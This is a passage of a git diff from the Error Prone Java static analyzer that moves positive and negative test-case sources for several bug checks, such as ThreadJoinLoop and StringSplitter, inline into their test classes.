msg.getMultiFieldCount() > 0; + foo = 0 < msg.getMultiFieldCount(); + foo = 0 > msg.getMultiFieldCount(); + foo = msg.getMultiFieldCount() >= 1; + foo = msg.getMultiFieldCount() >= -1; + foo = msg.getMultiFieldCount() < 0; + foo = (((((msg))))).getMultiFieldCount() > zero; + foo = msg.getTestFieldNamedCount() >= 0; // Not a repeated field, just name ending in `count` + } + + private static class CollectionContainer { + List intList; + + List getIntList() { + return intList; + } + } + + private static class HasASizeMethod { + public int length = 0; + + public int size() { + return length; + } + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/StaticQualifiedUsingExpressionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/StaticQualifiedUsingExpressionTest.java index d0d8a0a1f8d..515d4c46cc2 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/StaticQualifiedUsingExpressionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/StaticQualifiedUsingExpressionTest.java @@ -36,21 +36,249 @@ public class StaticQualifiedUsingExpressionTest { @Test public void positiveCase1() { compilationHelper - .addSourceFile("testdata/StaticQualifiedUsingExpressionPositiveCase1.java") + .addSourceLines( + "StaticQualifiedUsingExpressionPositiveCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.math.BigDecimal; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + class MyClass { + + static int STATIC_FIELD = 42; + + static int staticMethod() { + return 42; + } + + int FIELD = 42; + + int method() { + return 42; + } + + static class StaticInnerClass { + static final MyClass myClass = new MyClass(); + } + } + + class MyStaticClass { + static MyClass myClass = new MyClass(); + } + + public class StaticQualifiedUsingExpressionPositiveCase1 { + + public static int staticVar1 = 1; + private StaticQualifiedUsingExpressionPositiveCase1 next; + + public static int staticTestMethod() { + return 1; + } + + public static Object staticTestMethod2() { + return new Object(); + } + + public static Object staticTestMethod3(Object x) { + return null; + } + + public void test1() { + StaticQualifiedUsingExpressionPositiveCase1 testObj = + new StaticQualifiedUsingExpressionPositiveCase1(); + int i; + + // BUG: Diagnostic contains: variable staticVar1 + // i = staticVar1 + i = this.staticVar1; + // BUG: Diagnostic contains: variable staticVar1 + // i = staticVar1 + i = testObj.staticVar1; + // BUG: Diagnostic contains: variable staticVar1 + // i = staticVar1 + i = testObj.next.next.next.staticVar1; + } + + public void test2() { + int i; + Integer integer = Integer.valueOf(1); + // BUG: Diagnostic contains: variable MAX_VALUE + // i = Integer.MAX_VALUE + i = integer.MAX_VALUE; + } + + public void test3() { + String s1 = new String(); + // BUG: Diagnostic contains: method valueOf + // String s2 = String.valueOf(10) + String s2 = s1.valueOf(10); + // BUG: Diagnostic contains: method valueOf + // s2 = String.valueOf(10) + s2 = new String().valueOf(10); + // BUG: Diagnostic contains: method staticTestMethod + // int i = staticTestMethod() + int i = this.staticTestMethod(); + // BUG: Diagnostic contains: method staticTestMethod2 + // String s3 = staticTestMethod2().toString + String s3 = this.staticTestMethod2().toString(); + // BUG: Diagnostic contains: method staticTestMethod + // i = staticTestMethod() + i = this.next.next.next.staticTestMethod(); + } + + public void test4() { + BigDecimal decimal = new BigDecimal(1); + // BUG: Diagnostic contains: method valueOf + // BigDecimal decimal2 = BigDecimal.valueOf(1) + BigDecimal decimal2 = decimal.valueOf(1); + } + + public static MyClass hiding; + + public void test5(MyClass hiding) { + // BUG: Diagnostic contains: method staticTestMethod3 + // Object o = staticTestMethod3(this.toString()) + Object o = this.staticTestMethod3(this.toString()); + // BUG: Diagnostic contains: variable myClass + // x = MyClass.StaticInnerClass.myClass.FIELD; + int x = new MyClass.StaticInnerClass().myClass.FIELD; + // BUG: Diagnostic contains: variable STATIC_FIELD + // x = MyClass.STATIC_FIELD; + x = new MyClass.StaticInnerClass().myClass.STATIC_FIELD; + // BUG: Diagnostic contains: variable hiding + // StaticQualifiedUsingExpressionPositiveCase1.hiding = hiding; + this.hiding = hiding; + // BUG: Diagnostic contains: variable STATIC_FIELD + // x = MyClass.STATIC_FIELD; + x = MyStaticClass.myClass.STATIC_FIELD; + // BUG: Diagnostic contains: method staticMethod + // x = MyClass.staticMethod(); + x = MyStaticClass.myClass.staticMethod(); + + x = MyStaticClass.myClass.FIELD; + x = MyStaticClass.myClass.method(); + } + + static class Bar { + static int baz = 0; + + static int baz() { + return 42; + } + } + + static class Foo { + static Bar bar; + } + + static void test6() { + Foo foo = new Foo(); + // BUG: Diagnostic contains: method baz + // x = Bar.baz(); + int x = Foo.bar.baz(); + Bar bar = Foo.bar; + // BUG: Diagnostic contains: variable bar + // bar = Foo.bar; + bar = foo.bar; + // BUG: Diagnostic contains: variable baz + // x = Bar.baz; + x = Foo.bar.baz; + } + + static class C { + static int foo() { + return 42; + } + } + + public void test7() { + // BUG: Diagnostic contains: method foo + // x = C.foo(); + int x = new C().foo(); + } + }""") .doTest(); } @Test public void positiveCase2() { compilationHelper - .addSourceFile("testdata/StaticQualifiedUsingExpressionPositiveCase2.java") + .addSourceLines( + "StaticQualifiedUsingExpressionPositiveCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class StaticQualifiedUsingExpressionPositiveCase2 { + + private static class TestClass { + public static int staticTestMethod() { + return 1; + } + } + + public int test1() { + // BUG: Diagnostic contains: method staticTestMethod + // return TestClass.staticTestMethod() + return new TestClass().staticTestMethod(); + } + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/StaticQualifiedUsingExpressionNegativeCases.java") + .addSourceLines( + "StaticQualifiedUsingExpressionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class StaticQualifiedUsingExpressionNegativeCases { + + public static int staticVar1 = 1; + + public static void staticTestMethod() {} + + public void test1() { + Integer i = Integer.MAX_VALUE; + i = Integer.valueOf(10); + } + + public void test2() { + int i = staticVar1; + i = StaticQualifiedUsingExpressionNegativeCases.staticVar1; + } + + public void test3() { + test1(); + this.test1(); + new StaticQualifiedUsingExpressionNegativeCases().test1(); + staticTestMethod(); + } + + public void test4() { + Class klass = String[].class; + } + + @SuppressWarnings("static") + public void testJavacAltname() { + this.staticTestMethod(); + } + + @SuppressWarnings("static-access") + public void testEclipseAltname() { + this.staticTestMethod(); + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/StringBuilderInitWithCharTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/StringBuilderInitWithCharTest.java index 9d17b8827d8..98e894e35ef 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/StringBuilderInitWithCharTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/StringBuilderInitWithCharTest.java @@ -33,14 +33,46 @@ public class StringBuilderInitWithCharTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/StringBuilderInitWithCharPositiveCases.java") + .addSourceLines( + "StringBuilderInitWithCharPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author lowasser@google.com (Louis Wasserman) + */ + public class StringBuilderInitWithCharPositiveCases { + { + // BUG: Diagnostic contains: new StringBuilder("a") + new StringBuilder('a'); + // BUG: Diagnostic contains: new StringBuilder("\\"") + new StringBuilder('"'); + char c = 'c'; + // BUG: Diagnostic contains: new StringBuilder().append(c) + new StringBuilder(c); + } + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/StringBuilderInitWithCharNegativeCases.java") + .addSourceLines( + "StringBuilderInitWithCharNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author lowasser@google.com (Louis Wasserman) + */ + public class StringBuilderInitWithCharNegativeCases { + { + new StringBuilder("a"); + new StringBuilder(5); + new StringBuilder(); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/StringSplitterTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/StringSplitterTest.java index d740d58a5b6..3f74ecbcb38 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/StringSplitterTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/StringSplitterTest.java @@ -486,14 +486,51 @@ void f() { @Test public void stringSplitPositive() { CompilationTestHelper.newInstance(StringSplitter.class, getClass()) - .addSourceFile("testdata/StringSplitterPositiveCases.java") + .addSourceLines( + "StringSplitterPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Positive test cases for StringSplitter check. + * + * @author dturner@twosigma.com (David Turner) + */ + public class StringSplitterPositiveCases { + + public void StringSplitOneArg() { + String foo = "a:b"; + // BUG: Diagnostic contains: + String[] xs = foo.split(":"); + } + }""") .doTest(); } @Test public void stringSplitNegative() { CompilationTestHelper.newInstance(StringSplitter.class, getClass()) - .addSourceFile("testdata/StringSplitterNegativeCases.java") + .addSourceLines( + "StringSplitterNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative test cases for StringSplitter check. + * + * @author dturner@twosigma.com (David Turner) + */ + public class StringSplitterNegativeCases { + public void StringSplitTwoArgs() { + String foo = "a:b"; + foo.split(":", 1); + } + + public void StringSplitTwoArgsOneNegative() { + String foo = "a:b"; + foo.split(":", -1); + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SuppressWarningsDeprecatedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SuppressWarningsDeprecatedTest.java index b330421ca0e..c8883d8c658 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SuppressWarningsDeprecatedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SuppressWarningsDeprecatedTest.java @@ -35,14 +35,124 @@ public class SuppressWarningsDeprecatedTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/SuppressWarningsDeprecatedPositiveCases.java") + .addSourceLines( + "SuppressWarningsDeprecatedPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + /* + * Copyright 2012 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + /** + * Positive cases for {@link SuppressWarningsDeprecated}. + * + * @author sjnickerson@google.com (Simon Nickerson) + */ + public class SuppressWarningsDeprecatedPositiveCases { + + // BUG: Diagnostic contains: @SuppressWarnings("deprecation") + @SuppressWarnings("deprecated") + public static void positiveCase1() {} + + // BUG: Diagnostic contains: @SuppressWarnings("deprecation") + @SuppressWarnings({"deprecated"}) + public static void positiveCase2() {} + + // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) + @SuppressWarnings({"deprecated", "foobarbaz"}) + public static void positiveCase3() {} + + public static void positiveCase4() { + // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) + @SuppressWarnings({"deprecated", "foobarbaz"}) + int a = 3; + } + + public static void positiveCase5() { + // BUG: Diagnostic contains: @SuppressWarnings("deprecation") + @SuppressWarnings("deprecated") + int a = 3; + } + + public static void positiveCase6() { + // BUG: Diagnostic contains: @SuppressWarnings("deprecation") + @SuppressWarnings("deprecated") + class Foo {} + ; + } + + public static void positiveCase7() { + // BUG: Diagnostic contains: @SuppressWarnings({"deprecation", "foobarbaz"}) + @SuppressWarnings({"deprecated", "foobarbaz"}) + class Foo {} + ; + } + + // BUG: Diagnostic contains: @SuppressWarnings(value = "deprecation") + @SuppressWarnings(value = {"deprecated"}) + public static void positiveCase8() {} + + // BUG: Diagnostic contains: @SuppressWarnings(value = "deprecation") + @SuppressWarnings(value = "deprecated") + public static void positiveCase9() {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/SuppressWarningsDeprecatedNegativeCases.java") + .addSourceLines( + "SuppressWarningsDeprecatedNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative cases for {@link SuppressWarningsDeprecated}. + * + * @author sjnickerson@google.com (Simon Nickerson) + */ + public class SuppressWarningsDeprecatedNegativeCases { + @SuppressWarnings({"deprecation"}) + public static void negativeCase1() {} + + @SuppressWarnings("deprecation") + public static void negativeCase2() {} + + public static void negativeCase3() { + @SuppressWarnings({"deprecation"}) + int a = 3; + } + + public static void negativeCase4() { + @SuppressWarnings("deprecation") + int a = 3; + } + + public static void negativeCase5() { + @SuppressWarnings({"deprecation"}) + class Foo {} + Foo a = null; + } + + public static void negativeCase6() { + @SuppressWarnings("deprecation") + class Bar {} + Bar b = null; + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SwigMemoryLeakTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SwigMemoryLeakTest.java index 05871a2734e..291ae69433c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SwigMemoryLeakTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SwigMemoryLeakTest.java @@ -32,11 +32,76 @@ public class SwigMemoryLeakTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/SwigMemoryLeakPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "SwigMemoryLeakPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * @author irogers@google.com (Ian Rogers) + */ +public class SwigMemoryLeakPositiveCases { + private long swigCPtr; + protected boolean swigCMemOwn; + + public SwigMemoryLeakPositiveCases(long cPtr, boolean cMemoryOwn) { + swigCMemOwn = cMemoryOwn; + swigCPtr = cPtr; + } + + public synchronized void delete() { + if (swigCPtr != 0) { + if (swigCMemOwn) { + swigCMemOwn = false; + // BUG: Diagnostic contains: SWIG generated code that can't call a C++ destructor will leak + // memory + throw new UnsupportedOperationException("C++ destructor does not have public access"); + } + swigCPtr = 0; + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SwigMemoryLeakNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SwigMemoryLeakNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author irogers@google.com (Ian Rogers) + */ + public class SwigMemoryLeakNegativeCases { + private long swigCPtr; + protected boolean swigCMemOwn; + + public SwigMemoryLeakNegativeCases(long cPtr, boolean cMemoryOwn) { + swigCMemOwn = cMemoryOwn; + swigCPtr = cPtr; + } + + @SuppressWarnings("removal") // deprecated for removal starting in JDK 18 + protected void finalize() { + delete(); + } + + public synchronized void delete() { + if (swigCPtr != 0) { + if (swigCMemOwn) { + swigCMemOwn = false; + nativeDelete(swigCPtr); + } + swigCPtr = 0; + } + } + + private static native void nativeDelete(long cptr); + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java index ce5b230b216..f737fee9f56 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java @@ -38,19 +38,566 @@ public void setup() { @Test public void positiveCases() { - compilationTestHelper.addSourceFile("testdata/ThreadJoinLoopPositiveCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "ThreadJoinLoopPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) on 7/10/17. + */ + class ThreadJoinLoopPositiveCases { + + public void basicCase(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void emptyInterruptedFullException(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void emptyException(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (Exception e) { + // ignore + } + } + + public void emptyCatchStatements(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (Exception e) { + ; + ; + } + } + + public void whileLoop(Thread thread) { + while (true) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void whileLoopCheck(Thread thread) { + while (thread != null) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void whileLoopVariable(Thread thread, boolean threadAlive) { + while (threadAlive) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + threadAlive = false; + } catch (InterruptedException e) { + // ignore + } + } + } + + public void basicLoopOtherStatements(Thread thread) { + while (7 == 7) { + System.out.println("test"); + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void breakStatement(Thread thread) { + while (7 == 7) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + break; + } catch (InterruptedException e) { + // ignore + } + } + } + + private void whileLoopBreak(Thread thread) { + while (true) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + break; + } catch (InterruptedException e) { + /* try again */ + } + } + } + + private void whileLoopThreadAlive(Thread thread) { + while (thread.isAlive()) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // Ignore + } + } + } + + public void multipleStatements(Thread thread, boolean isAlive) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + isAlive = false; + } catch (InterruptedException e) { + // ignore + } + } + + private void arrayJoin(Thread[] threads) { + for (int i = 0; i < threads.length; i++) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(threads[i]) + threads[i].join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + class MyThread extends Thread { + + public void run() { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) + join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void whileInThread() { + while (isAlive()) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) + join(); + } catch (InterruptedException e) { + // Ignore. + } + } + } + } + }""") + .doTest(); } @Test public void negativeCases() { - compilationTestHelper.addSourceFile("testdata/ThreadJoinLoopNegativeCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "ThreadJoinLoopNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.List; + + /** + * @author mariasam@google.com (Maria Sam) on 7/10/17. + */ + public class ThreadJoinLoopNegativeCases { + + public void basicCase(Thread thread) throws InterruptedException { + thread.join(); + } + + public void inIf(Thread thread) { + try { + if (7 == 7) { + thread.join(); + } + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + public void basicCaseTry(Thread thread) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + public void basicCaseWhile(Thread thread, List list) { + while (list.size() == 7) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + + public void basicCaseFor(Thread thread, List list) { + for (int i = 0; i < list.size(); i++) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + + public void basicCaseForEach(Thread thread, List list) { + for (String str : list) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } + + public void multipleCatches(Thread thread, int[] arr) { + try { + thread.join(); + int test = arr[10]; + } catch (ArrayIndexOutOfBoundsException e) { + // ignore + } catch (InterruptedException e) { + System.out.println("test"); + } + } + + public void fullInterruptedFullException(Thread thread) { + try { + thread.join(); + } catch (InterruptedException e) { + e.printStackTrace(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void justException(Thread thread) { + try { + thread.join(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void multipleMethodInvocations(Thread thread, Thread thread2) { + try { + thread.join(); + thread2.join(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void tryFinally(Thread thread) { + try { + thread.join(); + } catch (InterruptedException e) { + // ignore + } finally { + System.out.println("test finally"); + } + } + + public void tryAssigningThread(Thread thread) { + while (true) { + try { + thread.join(); + thread = null; + } catch (InterruptedException e) { + // ignore + } + } + } + }""") + .doTest(); } @Test public void fixes() { BugCheckerRefactoringTestHelper.newInstance(ThreadJoinLoop.class, getClass()) - .addInput("testdata/ThreadJoinLoopPositiveCases.java") - .addOutput("testdata/ThreadJoinLoopPositiveCases_expected.java") + .addInputLines( + "ThreadJoinLoopPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author mariasam@google.com (Maria Sam) on 7/10/17. + */ + class ThreadJoinLoopPositiveCases { + + public void basicCase(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void emptyInterruptedFullException(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void emptyException(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (Exception e) { + // ignore + } + } + + public void emptyCatchStatements(Thread thread) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (Exception e) { + ; + ; + } + } + + public void whileLoop(Thread thread) { + while (true) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void whileLoopCheck(Thread thread) { + while (thread != null) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void whileLoopVariable(Thread thread, boolean threadAlive) { + while (threadAlive) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + threadAlive = false; + } catch (InterruptedException e) { + // ignore + } + } + } + + public void basicLoopOtherStatements(Thread thread) { + while (7 == 7) { + System.out.println("test"); + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + public void breakStatement(Thread thread) { + while (7 == 7) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + break; + } catch (InterruptedException e) { + // ignore + } + } + } + + private void whileLoopBreak(Thread thread) { + while (true) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + break; + } catch (InterruptedException e) { + /* try again */ + } + } + } + + private void whileLoopThreadAlive(Thread thread) { + while (thread.isAlive()) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + } catch (InterruptedException e) { + // Ignore + } + } + } + + public void multipleStatements(Thread thread, boolean isAlive) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(thread) + thread.join(); + isAlive = false; + } catch (InterruptedException e) { + // ignore + } + } + + private void arrayJoin(Thread[] threads) { + for (int i = 0; i < threads.length; i++) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(threads[i]) + threads[i].join(); + } catch (InterruptedException e) { + // ignore + } + } + } + + class MyThread extends Thread { + + public void run() { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) + join(); + } catch (InterruptedException e) { + // ignore + } + } + + public void whileInThread() { + while (isAlive()) { + try { + // BUG: Diagnostic contains: Uninterruptibles.joinUninterruptibly(this) + join(); + } catch (InterruptedException e) { + // Ignore. + } + } + } + } + }""") + .addOutputLines( + "ThreadJoinLoopPositiveCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.util.concurrent.Uninterruptibles; + + /** + * @author mariasam@google.com (Maria Sam) on 7/10/17. + */ + class ThreadJoinLoopPositiveCases { + + public void basicCase(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void emptyInterruptedFullException(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void emptyException(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void emptyCatchStatements(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void whileLoop(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void whileLoopCheck(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void whileLoopVariable(Thread thread, boolean threadAlive) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void basicLoopOtherStatements(Thread thread) { + while (7 == 7) { + System.out.println("test"); + Uninterruptibles.joinUninterruptibly(thread); + } + } + + public void breakStatement(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + private void whileLoopBreak(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + private void whileLoopThreadAlive(Thread thread) { + Uninterruptibles.joinUninterruptibly(thread); + } + + public void multipleStatements(Thread thread, boolean isAlive) { + Uninterruptibles.joinUninterruptibly(thread); + } + + private void arrayJoin(Thread[] threads) { + for (int i = 0; i < threads.length; i++) { + Uninterruptibles.joinUninterruptibly(threads[i]); + } + } + + class MyThread extends Thread { + + public void run() { + Uninterruptibles.joinUninterruptibly(this); + } + + public void whileInThread() { + Uninterruptibles.joinUninterruptibly(this); + } + } + }""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownCheckedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownCheckedTest.java index 0bcdc7212b3..10594f8b635 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownCheckedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowIfUncheckedKnownCheckedTest.java @@ -30,14 +30,123 @@ public class ThrowIfUncheckedKnownCheckedTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ThrowIfUncheckedKnownCheckedTestPositiveCases.java") + .addSourceLines( + "ThrowIfUncheckedKnownCheckedTestPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Throwables.propagateIfPossible; + import static com.google.common.base.Throwables.throwIfUnchecked; + + import java.io.IOException; + import java.util.concurrent.ExecutionException; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class ThrowIfUncheckedKnownCheckedTestPositiveCases { + void simple(IOException e) { + // BUG: Diagnostic contains: no-op + throwIfUnchecked(e); + + // BUG: Diagnostic contains: no-op + propagateIfPossible(e); + } + + void union() { + try { + foo(); + } catch (IOException | ExecutionException e) { + // BUG: Diagnostic contains: no-op + throwIfUnchecked(e); + + // BUG: Diagnostic contains: no-op + propagateIfPossible(e); + } + } + + void checkedGeneric(E e) { + // BUG: Diagnostic contains: no-op + throwIfUnchecked(e); + } + + void foo() throws IOException, ExecutionException {} + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ThrowIfUncheckedKnownCheckedTestNegativeCases.java") + .addSourceLines( + "ThrowIfUncheckedKnownCheckedTestNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.base.Throwables.propagateIfPossible; +import static com.google.common.base.Throwables.throwIfUnchecked; + +import java.io.IOException; +import java.util.concurrent.CancellationException; +import java.util.concurrent.ExecutionException; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ThrowIfUncheckedKnownCheckedTestNegativeCases { + void exception(Exception e) { + throwIfUnchecked(e); + } + + void throwable(Throwable e) { + throwIfUnchecked(e); + } + + void runtime(RuntimeException e) { + // Better written as "throw e," but comes up too rarely to justify a compile error. + throwIfUnchecked(e); + } + + void error(Error e) { + // Better written as "throw e," but comes up too rarely to justify a compile error. + throwIfUnchecked(e); + } + + void multiarg(IOException e) throws IOException { + propagateIfPossible(e, IOException.class); + } + + void union() { + try { + foo(); + } catch (IOException | ExecutionException | CancellationException e) { + throwIfUnchecked(e); + } + } + + void genericUnchecked(E e) { + throwIfUnchecked(e); + } + + void genericMaybeUnchecked(E e) { + throwIfUnchecked(e); + } + + void genericUpperBoundDifferentFromErasure(E e) { + throwIfUnchecked(e); + } + + void foo() throws IOException, ExecutionException {} + + /* + * I don't care whether these are flagged or not, since it won't come up in practice. I just want + * to make sure that we don't blow up when running against the tests of Throwables. + */ + void nullException() { + throwIfUnchecked(null); // throws NPE + propagateIfPossible(null); // no-op + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowsUncheckedExceptionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowsUncheckedExceptionTest.java index 7a5708d5ae6..3d46649513f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ThrowsUncheckedExceptionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ThrowsUncheckedExceptionTest.java @@ -33,12 +33,70 @@ public final class ThrowsUncheckedExceptionTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ThrowsUncheckedExceptionPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ThrowsUncheckedExceptionPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.IOException; + +/** + * @author yulissa@google.com (Yulissa Arroyo-Paredes) + 